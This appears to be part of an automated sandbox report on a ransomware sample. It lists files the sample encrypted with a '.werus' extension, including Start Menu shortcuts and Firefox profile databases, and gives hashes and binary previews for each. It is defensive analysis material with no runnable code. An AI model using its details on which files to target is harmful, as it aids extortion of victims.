File Type:	data
Category:	dropped
Size (bytes):	416
Entropy (8bit):	7.552025754211506
Encrypted:	false
SSDEEP:	12:4uMR4Beb2Hkj/BBemOpBkmsL8D0QHu8wAebZp7ys:4FSHIBUpxsY0QHu8wAeD
MD5:	E5681F0D7FBB0B2EB6D1BF83C0EAA17E
SHA1:	21215691AE58ABAC02CF4AEDE8E9FD694DCABD2A
SHA-256:	9E2137DB6C39C8812C09F4302EA7752D0FAF57C22398492E7D6C51E988912224
SHA-512:	77B702F467F9F71B2376F11E1AB186B31F683BB4C3DDC883501AF40F29537281FE8022FA25944EE3DF9C3585B190078F2A211A1D2883BC2D824D664584FC4309
Malicious:	false
Preview:	.&.........r..........O.L..:.9J...`.}....FV...z..[u{.p..M...XN.qY..}z.N.5..].[,.Uj..G/...3a.q..........o.R.3c.f..).)a......m...U.TE[u40......2fu.CR.h.p.x0;..........V+@.(..3h.J=.s..#..o0.q...s...;.......nM.W...........V.6G.%.S{3.<...uW<..t...'..y....(.G$.FQ...d`..\|G.?V.\|. .....Qc.HL.........D..[.._.w...%..7...G.K.s.UZk./.l.#.=.l..]...=.-R.RE.{.....9....m......J..Q!.\|bA+.'O...W....:..g.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\computer.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	336
Entropy (8bit):	7.348803156362292
Encrypted:	false
SSDEEP:	6:4IyDS1AG7t5RSygn9uloUeHLvymnNs3fBM5jTNng+KLz7RMWh4muP:4x7Ut5c6oPLFmM5jTa+wCmuP
MD5:	3445501FBAF0FA146B144577348BACD1
SHA1:	C2B7905E0858890B6B490A2177F5392AFE12CD1C
SHA-256:	38F8F9F08819975BF8B014813B8E5598C0BE2EC5FD40C54D7E20EC054B39D9AC
SHA-512:	0278748612F0FD4E4852B66870A44702C05AB29595D5537DB29F77AE19C646060246A2EFF5C3E255D94CC2F0C25E729DEC6E9499059CBF7515D438AFFD8120DB
Malicious:	false
Preview:	.&.........r.....%K...=.s..u....-.!....a.B.'.....y@.tr.....8D+*K_{g.\.t.m...&.Ha.......mST......Z+...-_UV.......mSX.k...~.{...DWw9!..V.....J!....O/.k7.<U;..dN..\|..f%+.W..%..{.5...Rk.......4.R.;....a...J.r<9.m...s...-p:..C1v..'......-...1O.y.X..=~e.A.@.FbA...........=d...w.}......Yh...........D......mxJ....C...-)vA....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell (x86).lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2544
Entropy (8bit):	7.918676566303475
Encrypted:	false
SSDEEP:	48:4HCvs7Y9xhbI756T28gaz4KHFwrG/N8ocSiW5IzkIo3EET4vSvWjE6BXs9:4Cs7Y9xh86B9kmFP/jL5IYIcT4vuW89
MD5:	AAC4A2F8EB1794D4766AFD8A3B74F5B9
SHA1:	EE55F1D54C74DDB1AF52843FD0D5F256A0F5CCDB
SHA-256:	E31AB6352B03D3C92F1101E16E27E5B676F9A3B0EA5C515FE4808DAF61CCDAC7
SHA-512:	3963EF2A377DD23BAFB27CAA7581AC2C8FD550FC359AD72983F99DCC674FFBB28C28F7460E3DF2B8148FCFCEF8B2138C452CF3BA43E4101A28397E769A829C7D
Malicious:	false
Preview:	.&.........r...[....;.....+m.dI.........x..x.<W<H..1.\..>........!2.H.J2c..+...1.........3y..5.$v...+..'....~Ih..^L.e5N..o.'.$...9..`..'..B..@.$.....v...>)!..A.qN.L..uH'.A.4)..A.p..,....\|b..[.JK..@y..&.Cla?.k;61...4K.......-%.L....c.....7.t...N..O!..(~0ifG..9.Z..........'K...@..VQ..@..A.\M..z....eG..M .......H..t..z.+._.i.A..$.x..b.......J..jd.h.....#W.:f....J-.....8,p....g/..r..R....u]...9..Z...b1.e.....b........Q]...i..y..2w}.8.l.).xl..:.xU..Oo!.X..>h.p...)!..L.[......[....L.....6f`......V.0&\a8_.(..`....\..+\.I.X.]..U.}.t\|.. !..")T.p#'[.).2.Z:^.......... l.{.a..6e..E.....{,.H.p.h\....%.G..c./...s.#..E.#6.\|W.1N.n.....,.h.p....&.X/.<]k3p<.~-.....Ps....z-..,.,b....jLCA...dC...6..l.{.s.Xz...}.nm..99Zr.>.\e..\.....r..g1.`.?%_...R/`-q.5j.{H..-...U.<...,3x=....)./..EBc..%>...)....8.w.D.M..^\.k:.,".e..........2.9#K.........M5.8GGB.D.v.-.]..2...>.,...(..a...\E....A..g"...2YV.bU....i..:^Q...t..MJ..~....+^^@....k....d{....>.c.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2544
Entropy (8bit):	7.9183400716034695
Encrypted:	false
SSDEEP:	48:4HCvs76i7xw4vch5gLweYNnWXygbOoNg02RKSEo6WzpiKCz+xYW1Ad:4Cs76ia4vHwFUiQFWFiK1OuAd
MD5:	6DDF1A5461B5FB9A2528E1403C55E0F0
SHA1:	F7BCCB082E3DAE9DFD9E7F7597BC6D8120489207
SHA-256:	55A869D5452F1D42D8B6DEEDDCCD36189F2A7CECF011DCFDB97B78724EE2D09F
SHA-512:	944BB2F3097224E0F6D846EE5B16FA9F6320022C1F5B261872E6912B7579748E5F4A6A95CC1945EC1881AD866110E4475F45A03B63AEBB809C5385D856D217E8
Malicious:	false
Preview:	.&.........r...[....;.....+m.dI.........x..x.<W<H..1.\..>........!2.H.J2c..+...1.........3y..5.$v...+..'....~Ih..^L.e5N..o.'.$...9..`..'..B..@.$.....v...>)!..A.qN.L..uH'.A.4)..A.p..,....\|b..g[.Y^...#.lV...^........~T..J..t9..{d.P.aPW.2..P.-.k.xB\|nn....QO..V"1w.^K...0...p.@.....W........1..,.TqW9.[...XN6..+......M..N...5..+-K..z.K.E%..\|....8....,.2H....U.Z...P.x.7..}..'.....E....9.j...x..D..`.o3.....f7...h......7s~J..$...K0..aw..n..Y.......kx.UqC....I=.o.W...i_D..h.u9.......!.%,0............c....{...&..t.\..&...9>.t.,.....b9....E.WP2.a-1.:.)x..6zF"......OD.H`.".....2....i..........j.T..u!zB...x..T...E...8[.34..,I.e.?C..H<.....&..N.........V.0#..tC.L6l..t..E.V/.._D...~.DbG.#x\..[.j6..........S.tM..D.$.w....D...:x..}. .5H.W..*xzq`.g.<...%..XwX........-.n....B.zz..Ki.k..1J.......P!E.s8.......y(....k..........6..FP...ir..F..P.B.8.$HB.V.h........n...........H..B.z`!hUAD.w+0_..a.2~h...W....u.0w.T[..<..4.vO.=x.........?..g.f.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	272
Entropy (8bit):	7.177675054412588
Encrypted:	false
SSDEEP:	6:2sJKblzCY+ZsCfaAacFgRr3g0A77T9GJ38lvr:VIlGYbCfOGar387dGdyr
MD5:	013088108CDEDAC4F448DCEA11909E87
SHA1:	371985778913D8B30EFC77D3BC837BDD5C71D1F0
SHA-256:	21CB24054ADE076EC684516A7845BAE905EC7456D363E58393688790DFDDFC64
SHA-512:	6B6DEAD189E39A293AFB144B678981D7ACFF2FC88806489485DA5C8F21CE58BED45A33EB510C609220CDC60AF81CC803E2687FE078C8573F6FFD1D34514C396C
Malicious:	false
Preview:	G.t r....J.'...[T4..?...&rF..p......".O.Q`....5q..I'..0.....W....M.......{..D@&....]..!V...A.6.6...6. Z.\|\|...T.B....e..x...^........E..&.........P.X.........V0...g.{.\|B............4...]F..T.O.....(..x%b.sj.(...i.-.I..D...E....i...!,.c..B($..@..3t;.../7

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	176
Entropy (8bit):	6.879664004902603
Encrypted:	false
SSDEEP:	3:uoTiz6sbbwQ+29aDOf26yJeWFSJDeJu3R85QXHuVYkUGftZqijQoksO:TQ6VB292DZUSsxXcfmijQ9V
MD5:	5DD957813DDB4B8FA34EAC2887FA10D9
SHA1:	D83CC36AB2C7981E4F836869B051D271BF45260E
SHA-256:	45BA8E68CDE1A279B6C69797F2A59FB727915EC816E8AAFDB40E19CAC0BE0785
SHA-512:	3FD7F341D5126CE3CF6FDE0DA3098ED79307B5145114A1A7B09CDF17EC00D409535B01D660383452E46AE525E6AB8AE0773FDE07098874E6511309E3675215B2
Malicious:	false
Preview:	..,n]}3.....b?T..T.m>]Uw...3^.f(......{9.....HW.RY9...K.o.8..........C.A.sx'.F. .e{...DU...c...7.k.....r6bc....x.......==.:4.?.E...).B..X.c..2......yN.W.1.uI..U..8. .

C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	278144
Entropy (8bit):	7.999411253544281
Encrypted:	true
SSDEEP:	6144:BanU5ybmMBMZLg96OX3hiYlmRix3SzUyCycaNCU6VX:BSsySKMZL0J3hSRp4OlCU6R
MD5:	755569452FB9811C80D900842AA786E2
SHA1:	0B76C38850F9B090231D5C34724C72C304CD31AD
SHA-256:	D3CD48A81118528BD81B45C3A56B4FDE2063C4E1ADC1EBF5B0B1745FA420EBB4
SHA-512:	C03FCD1EECBA357437A1AF60702E33A930F20FCD8F231939E72C3608566285A70E4FE6B22F7B52CA3EE9A7672F0ABA643B6BF71A5511410725D62EC6EAE6EAB9
Malicious:	true
Preview:	..i0..l).a..%.....V.u.}.C..H...(..K..!d!q.I5..]....O}A.>.$j.K^....C...5....U?...f.....{[F..p.....].I.{W....>...Go.DA...%...-...Z0....s....P..#.......kl.1..C..,Y.9..f............Q.=...\|u..t...s....(.8]set....v..\.&.L..^..7.^.p+.u-..."....bU.^...<.v.{....Bh.eH.....C~Rj.JnG...J.kQ8..F.7...+..KUx..Z.f..X.}.d..S...fh.]...D/.r.....hPVMRX.w.mfB.X.....,'U.kv.d.../.uS.....T+!....jH.%..q._...9OI.;T..t.z._..:...a:..H.........b...B\N....$.......$&.gv...,\|.kt..b.'v..F.'..n.;.....n.l....j..0.I8...if.z.....p.^.]...{...5H.c.Khav....d+.k..K........,........v.I..P......<,..>......T..e.'h.....U..D!...Ym...'w.L.Wf.....8.T...F .D"^.....<Hg.\|u8.~.w......,..<.....xk......2.Md.Q..NE<3c...KoT....h.]!..@.w....a.-.4......;.....j.nU\..#..4i..zZ....D ..l....l..z...d.o.?,.."..T\w....P-f..P..&VtgTU..l).A].<]Az.vL..v$....._.....l.h...:....X'..Px..MX?~.]....(.e.).,}....s.sP.1b..#...!..f.8.D1...!(.\|.VQ(.{..5.>.................z.....!G...u..j[.y.$8.t..E9.)..2..-.x..j...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash Reports\InstallTime20230927232528.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:OrJuE:GuE
MD5:	3B0184556C70506F6B6C4FE063C31EBB
SHA1:	EF092E241B347ABBB3294E485989F40B9DA28EC6
SHA-256:	6A256F0E7FF9BD24D6AD95D841F5AB4C96E1A96E6CB042C721E918B7D1256DFC
SHA-512:	A82F05D70D0197F684BD2347C7DAA6C3C7A30A2489BDF8FF10F5586CC24BBB4FB8A74F2E7385804EBDDACC2D69F1579C0F9104FB22692CFA47E4371A1050F4FC
Malicious:	false
Preview:	..T.......6K....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\AlternateServices.txt.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	464
Entropy (8bit):	7.614309612525941
Encrypted:	false
SSDEEP:	12:tP6010t8rg0PbnlQZhE64DaZlXXahIk2gXYOvBl3eG1GJuo9F:tP6010tp0PJKhTdxuXhvn3P2
MD5:	CAED8D11C563B6C094098859679573EC
SHA1:	1F61849E341C4AD1DEB98E57442CCFAEE3E0E7FF
SHA-256:	0BDE49A0C3F4FC4CCAFE4E5F2DE3A49D5B3F1AA101248DB52860A7BF187B7FD4
SHA-512:	0A60DCC053FDD6DF83C78AD08EE19728FD454F8E0BA4B67214455DC696B435D7DD17B3E23888D1896B738587A00D67DEC53194215F7F8BA158CDCEC6F4B715D7
Malicious:	true
Preview:	.6........x......M.....`.<.z^.......n....uH......d...Q..L4U..J0..Eb4?_..~Vn/y.l.n.RRb@L....a.....N..a\.).F....b...X..+...j.V..w...G.t..v{...-.........t/..k.v..5"..iL..7....."^.O....7.).G.^l......_c.-..(..,...g3.]...,E..Q#[..{..i.`..+...qUS.K...O...!.N.}.:...P...N....5.9.>..".Y"t.f.D5.q..6C...=..^. (.4.z.0.i..W.....uC.Do-..Bq..Kw{g....W..V.W0...2...d%..J..' ....q.o...n..)&...`...~..<qT...P....Q.-...~..fM....J.QiE.O..A..M..2.M..G.......6U

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2208
Entropy (8bit):	7.911159237131635
Encrypted:	false
SSDEEP:	48:pRGEKhfJmGlKw826UFu88fUFathLcH6X7vFs0ILV7:pgEKhfkE6UU88fUFathLC6rEp
MD5:	DE3128416A69D6403224A018FB88FBBC
SHA1:	6C03D6C25B9D31971D55C8E6A615A9CAB2F7FFC7
SHA-256:	FCCEE3FC399FB0A448942E1063E262700D5DA9C91B35AB32C861A36475C79C2A
SHA-512:	6BA7751B18389B4BF4E65AD9604E65E67A4241C1E440048E8D60F21EC0E2FF374DC172954E5FB7B79FC7BDCA1256B6A229C5C5E258F3FEB288FB8A09C999D20D
Malicious:	true
Preview:	.t.`e..\.S.Ec~V.$AR.;..6....v...J...1 e4...V...q&...l.;....P.{-...@.!.../.O....lfqX}D..!Y9.NEAtj..G...;.^J.......'P..<A.l......;M....I'q?..mn{.E.a.................F.....4q........5.U.k3/g..7.v....'./..........v.m..Q3..j...<Y...?.9BQq.....w....8.d......l5.Ev.L[.I.C..b.N]..ag..us.............Y.."`.... E.\3...,.....F.&c8.Qq.P!..f[kxd...=.I.;W...!e..#f^3E..]t8......+.n..eCh.]...u.dM\#.....@Pr-.=..?of.p......`BDIv..N.}{K. .......,...jm.P.V........... C,.f..M.F....[.z~I.\|..(0g....H.>.t1...T.........rj.+7(7/..Lwr.p..W..j.e...I#lE.rS...`>....:...Ez+..5..cf.x..O.>P...Z.:{U....\E+.......d....t._....:'..e...P0D..3A..:..O(..K...}g...?./....U. R..wr..7.9Aub.#}..a. .f5..Y....B..6C.,..N>....31{^..n..A..a.Nk....:.~.PS.N..Z..0..y..cL.H_P............P2..cS..C'..'.......]k..W.@Ke.k..V.u...2kF.....WV,\.....qv..J("..XF..G.....o..^Y......(....._........)....P.z.?.3......~..C..)M.R+i)..8/......Gw)....B".HAWl.?.w}...e....o.............6..m.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\SiteSecurityServiceState.txt.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	656
Entropy (8bit):	7.725103605174789
Encrypted:	false
SSDEEP:	12:Oaf7mSbjHsSwJGuOLtsGyCQ+LQA1cKCiZTf/6iGP5NkcqPrNMkZPzFT:PfC87PmCsB+hKKLTH6HQpNMkBN
MD5:	DE7AAD7F7278C23F84606EEDC9435B08
SHA1:	64C9F13C5BB564C1A16AF5AD59EDF8A215462BD9
SHA-256:	D03BCE26BF51E27A168F1AD5438738BEC051276CB8DB2EAFB593D25B9391AC56
SHA-512:	25F0405C499D9C36EB2F247C5C53B6E09E6313F9E4A75072167A0AC8B1D1AE2D95156542E1E88D583AA856C303AC03B5FD4F7479620B5245B4DB0AEE69DA352D
Malicious:	true
Preview:	. =...#...+.(a....-?..g...x..0.Q...L~...!0C.Dj+]...f:....$.[.w4.Y.]...91.....J..YM............+.8...w....6.]...<.......B.E..A....{:@t!..y..zq...F'+.E..[,:`y..m..<..A....`..k..B.G.........e....M.<..z.&_~...d...k...?Fy...Vv......W....(..o.Z'"..>6....h ....>`.h......j.G...NL..N..Ks..W.<7$.....zI...i6.....Z..e.W..ng.V.c.y41.b'...J&?.l3..nF...=.M2c.<..sO.s....*.../......9....W..P.>W.1g.r`>-.M..z.....k'ElM0.;........[...N....5.....SW....Y.y`~.....xl...U.NH.7..Ou....../n..a...jGK...$=....V.%....^.9~.?.N^^;.I..aRM..\|.\w....b...$.E3.=...!Q....Qo.=..R.......8..e.>.L.6^.f.VPy#..5.....X.n,s......i........#..4..9....h~'?R...e.I

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	5408
Entropy (8bit):	7.969433476355772
Encrypted:	false
SSDEEP:	96:2u63iiAAmRN8xrKYlqoqwh1wUsKylxv2BAEev65zjA+hvAsTGqrlvSaJx:kSiAAm0FKYlnqk6UsdOBApS5XlK0pSe
MD5:	DB21C411E3AFEA5719FF7DF2E99B592F
SHA1:	C80C6F751D42F6BAFBFA80FE2E56D3590108C1F3
SHA-256:	1922D1391F43E4EED01159340E0905E7F3CA76632309422386C7180CBF015FF2
SHA-512:	7D50579C43DE21BBF325AB8FA79136DE574E40E1F937B6F6A3372E999AED33250E86B2F027E7F5E3B172A32C7BA2AF2945A75CC00938034E8C2FE96E9504F747
Malicious:	true
Preview:	N...k\|.Eu...-..29.....d..h......<..P{,..9..g...\a.g...d..'.....J....t{N.K....L....\|_.z..2l..&Sk..m...L#.}...I.r.BT.....N.e./i{.^.....&.%.D.7.b.?......%.......;j.R.i..q#.s.p.....Lc.....~..J..YB.%......P.h\|YW.7.....K.Gh@.._...T..`..?.Ra..%....c2.M~\|+&.u...o[8..P.._....nu../...x-......,h..0..}..bj..p8\|....k....H...c.a...OR.E......B....=.c/E.......6..d~....5...,..........~.....q.\|.....9E..:(..s......./....:0.~..-#u4......... ..f.._1.;BT..>w.V;^.<..y.q..5..Q...{.......]..~8.......sZL.F.N".]`..1...\|....ox'%fFl...O.....>...D.D..Q.......o....U.....Px.{..HH...9........r...n..}.D...m.#...2.B...J..\}...A....#[...]`t6..{.6.9.m...Y..K~<....z"(....?..3...EE.X.R...~.F..,.....I.7....x&.C.Z/.<Z.....F.bh.:..U........H`z{.o?DW.#...{.v.[...2)........s..[.<zT...K..6..6`.m..>...:r..."c].h..k44..5X]p..~.N......fp......[.$...0.(.EB{...s6..n..u.......XZ.\_....{.G...7.gb.......`..a.T....w....).B.Z.......b. Ro_un..#=Ei.HN.E...y....O...........%..$.y.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.8125
Encrypted:	false
SSDEEP:	3:z1NKoysdJd:ZF3dT
MD5:	E2633864AA5DF1488066CB5C2FBD8AD5
SHA1:	8DCD42A521ED36D2BFFA8A6203491985D97E09CC
SHA-256:	92B765303BB9DAFFB6703F15CAA20249F4D37DB2E7EC9BA2AE69DAC49AD366F6
SHA-512:	BDCD781787430192F05980D294FBCEA4D1D624ED2226A63348C3C13B1C61D124E37B44988A8D933E14BF57F4699D14325429709DC508891374E007350DCF2470
Malicious:	true
Preview:	.D:.c9.Ph/..q....t.,ZR.`..2..:P

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	229392
Entropy (8bit):	7.999136247552581
Encrypted:	true
SSDEEP:	3072:PAp0fPOEQhyykNMNdkciK/afIurhbv1mKzIWOcGx9u6IpDpZO9EG9StUcEGeEo:op0fPDQh3b5dYloKT3bncdkNVef
MD5:	254E75762239FAE8A0F3EAB981A3BA84
SHA1:	A35D8428D101094A200A9A5C9FA8F6331439F6BB
SHA-256:	8D2A738A2F4C69D491E9FBF3BEF738DFF93DBE46399FC4390EA32E74A8C16199
SHA-512:	EC23A725F395F67B7C441FA87471105518A66EF177F8659F7B88A32119BB93D3307AF93CECC06786A1F7DB7690A52ABB9D339F7830FEF5273BA00AAD044A74C6
Malicious:	true
Preview:	?+..V.....%...O..m.9.i..I....^#..K'./vm.;.C.!..o.w.s..,.......Y.[.z.+s.R...#....]....L.tpu......q.T.A....%M..k...~oV'..MH....?>L.........)....F..n.J2#.w.e.IA..rT%Z.n.........7iv.f....R`..%.5X<....}.B.%".g...\.`(.kMq..H...0/..@....+..r.1". ..=..O..+FK..)]3....'.........E\.. ..=.."...N.......[....L.F.N.8.cG.5.Y.x...N:% .D.93s.ps...;.......2L=...E.8.......=.bL...)..#J/......o.'tV.....M..E...l.p.h...A".Kau ..8.Ta....doM....G.yA,.a..g.l3_0..'..C.d.................."..6..I.=.....3G..<c.f...g...S0>(...[.'..*..$...0a..1.v......Fc.A...S...B.E..l.."B..2o....T.....Aj...6i.K..Y.W.[.......~...c;.Z...0^.R..[j.demT=..!..\..JP....V.5.[...H.;..#.n.......p...;%n.....Jw...3v..<f9D....4.I(..s.....:7..eq>8ol.(x..i...z...-..7.W.m......q.]0...$RH......E........)..."S.-......2>A....Z..Kgi7-..}.G.F)e[.t..&...Hc......:.X:C7.o.w..:.Z..P.t...(..~...p.d1.O.........t.....x.jmh[......F'.w.8da..L.a.....e..V<....'.T>...Mxh.>...h...+..\|..m.....b-.l....K\..G$J\|.S..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	7.075251737288642
Encrypted:	false
SSDEEP:	6:2yU/1bhBcJ1sTqwdwBBQZLEWxi+waakIXQapHIOBLqluUXn:VU/1dmJ1zwTEWxdMQapThqD
MD5:	02CA7F378AE729EAF74AFAA87142A2B8
SHA1:	EF17BC800A8103183918BF7F7024123B92A32460
SHA-256:	C769E536F478A764C17222E56B20BEFAD6093A1A51B7801F427D0E13D765B0DD
SHA-512:	65263DC21FA62255DF3F8F185371EB966F60E594E89065A28599CB09E3C10BB0B127E4F6D0E2A1AF2C930F176CB7F366BA87C82B1DDC2B297F6E47C5A23FDC26
Malicious:	true
Preview:	..z..r)+....x...x.............Q8...P.6...,.S.{......6.I...hzm...$YF..S.C.&..ZG...!...6N..}o.....U?)..,cZ...\&.%.R,&.....+.M......Y..E...r}].3..;...=.Y..J..^..._....ZW.....&.........(_t.,..$7S..n

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\containers.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	880
Entropy (8bit):	7.773212798855624
Encrypted:	false
SSDEEP:	24:CgIS5tUM8K7UwdNFY//T9oopG3ChM3EBoMK:bt5C1rAYRy1MK
MD5:	1FDB968AC4FBA980DED788A264A9743F
SHA1:	C6253C36DF527C143DD67A8C08C5E53D34B933A9
SHA-256:	96CEEB912ECCA433CC1AF11C427C519F9C9E406F7B76C2A9BED610DB0A251C67
SHA-512:	C91EF04A1E06062248A8DFD9E756D78460EF26CC7E24ADC2F07C3E5AE3C76FFFB46202C5AA5B6463D08E180A8FCB77304E09977A677DF008DF1D87517C7F25E5
Malicious:	true
Preview:	..1lll.Zy.s...".k.....@UU..Jv._A..58.8/^./...G....R........g....W.._..{.G..N`.......;:........m..T...#A=/%......4.....2..n..........q]........3..Sw0.....o.X......D..........Mu._..j..9`U...u.....s.Q7ydQ....O.T.D-L......[1h.(..o....I~....M+..#...=.E.."@._.w......Q......B..%".t~.".......[......9.......r.I....;.9nvN..;.r.#..Z...{..1Y..(y..AP...j..fFL.K:6S....!.KU..$-(#h..~.g......_..f_J.U.s....\|0Y27....D'.........7#:.}..\|n<@..3^..D.......;u.........I....xl....B.I..o.s....[W......v...1.^X!>..T........o_-E..}.X\"..`A..!..\....Y3....f.j...._..$.45..ot..hv..'r9t..y..F.`*..2......m\|c.Sc_..._.>.e....S.o..J/....M........O.Y.@..........@..,3.2m.k.\.cT:..ZGDj.EX$.H.4G.H......A..?T...<.Y..4.<..2.......K...b..L...&..J.....].qh..=w..[..W.....%X#..e.q.......Jx.A..B.......ff.7..1..2. .+......+?x.m.Y<..AQ}.]E_..............:...#..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	262160
Entropy (8bit):	7.99931479952521
Encrypted:	true
SSDEEP:	6144:8i4lHDqRb8DXsWJadENMkZXo7KwsRTsKzi4bis/kFDMk:34ljqB8DBJadECkZXOKwD/Rfok
MD5:	E6413D959713E386C6928546D44D7752
SHA1:	3B005EF75085721BCFD79B2AA85AACA62EC762D4
SHA-256:	8FA9806A1D4B32EC1F689476B19D99C2415408F45BC713E3451CF07641726940
SHA-512:	255D5C6C6B3C0E23ED37143A8A57B1C22A8F85E0F0E0DBFB3695D6A8B04849A9CDFCBADF76B64D11608F9A1F3F61947392F6FA17E05906D678CAA6535E66E10F
Malicious:	true
Preview:	?+..V.....%...O...}.KJ\|..VY......#.j....hn..#].y :.T...v.......7.K..e-..$z... ...?.W.p..f.5..K..;+.j.+........S/.qe..........@l.\|H.......S$.`v....GA.S.y.I..f%.G..xz..o.. .)..L\|.H..tq.Il.x.._.D....x\....~.O.M.(0D..:...>.1=.>...3Ay<}wY.Sn...^.d..[...HTj\GWtV.....q..E].C.'a.K......4....m.H\|vm.)s..G.....Be>..n..W$..... ...R6q-.....n..&..-...S.[.u....:u{.....u.]....m0.1Q9HL.....<..w..B!B...5..4U.['.%.&w....~f.?}...hU......P.[..........q.z......1..C.+.......t.S8 ,...3...1.:...'.H......52......b.....6....>....bmb...!..k.W.....`...0vh...u.;.\.{....?T.h.z.BLS`=!J.;.~...9..^.._.n... K....,..Gg).k.1./LB....f.H*U.W$bJ4.^.=.9"!...u.K/\.&a$A.PD.5.Z..@/BjB.j./].K...G#....[..ich...o7sB$m.....<.m...".lzx..B...<...).....n.m.....m..{.M.61A....m6.8..H;.O..s.....5....QeU...1..yx...E....^..w..Q..'.F0z.....;.5?7....9..`.z..S`..I..+>......X...f+.'....UP..........g)O..`...M..L.nT...%z.=.".T;.j.....6..\|..kv.......Q...vT.T..(t@V4.]$B.dI.5~Nl.V.Fk...p).5..@..?

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.99358924423689
Encrypted:	true
SSDEEP:	768:ZKG+10Uz5PZ/ID24OUgLLCfnrlE2datTgFWymE1WFl1JejX74e:oG+10QVetPKuFG6NzW1JejX0e
MD5:	BA1FC1C25E494ACCC6C49C818C726DBD
SHA1:	E705953CF6A44A358A5917BC64DA1E4D15B467FB
SHA-256:	C4AC8366F3D7258ED6805BF2ED356F7360D9AF96168E0E2CFC88A61B846E80B7
SHA-512:	8686257302B84F24E822D5B7F7C2E2B6486724B932082B3559AD007A293C74036B7FC9DAE94A52948C223235B5FD4AA66C8EACDC1DEB7716778286D1395D4634
Malicious:	true
Preview:	...N..a. ..lgy.F4.6o./..b.3...^WS?.WA....?.....2T.a..z&.I)SPM..HD..k.1:4F....Ti<.l7a&b...Sz].....n..M`az..p..D.g.,..]\|.:...iv.tIu..\|-.Y2/2f...=gbH._...&j......H..:.v.d.Q..WA.o..@)........N.@.b..PQ.;..9.h.P..&.....9a(...2f.Go[`^.T=..MdA....#.q.5._.\|..^.!....1..F.q).'?..-:.:U..T..2h.7"LZeN.}r.i.....O.....U.VL.u..m...F.....Q...........844......K....,.....].;"/f..vh8#_R.pU...T.NZ...._6e...)E......K7..t.....&f.....'..Ra...0..8.....[.a.'..j.a..^...U.....<1...!...M..-...D..'.`.9[..4.L....C=..Uu.0...../...W_g.?..KS_.w.o.......C...@....k\|....z;..I..`....A!...P_.....#.]..=.2..i.3:....C........... ...._.+,.....9#.i.A...".....V.Dn-GZ&.8...1..;...n......p.tr.........o..........e....I...M..wS.E.7F..\|y.....~.AN.:...J8.1...?.M..1]..R....>A.Z..Y$..c.N[G.[..T...B.....I..2QS.@.X..O.%.E......G4a.1 ...<.I~.U.4.,JB.#......>9....l..4RoB$.U.-.e.x../"..q.;.{..;..-(z.3.J'...#.F.#(.=...G....3q.n.d.h.G.....np..f..&e...R`..K..f....H....R...4Z..?"m7s......Q

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
